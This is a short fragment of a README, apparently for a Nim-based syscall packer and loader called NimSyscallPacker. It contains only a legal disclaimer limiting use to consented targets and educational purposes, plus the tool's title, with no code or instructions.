Usage of NimSyscallPacker for attacking targets without prior mutual consent is illegal. It's the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program. Only use for educational purposes.

README.md Unescape Escape

NimSyscallPacker / Loader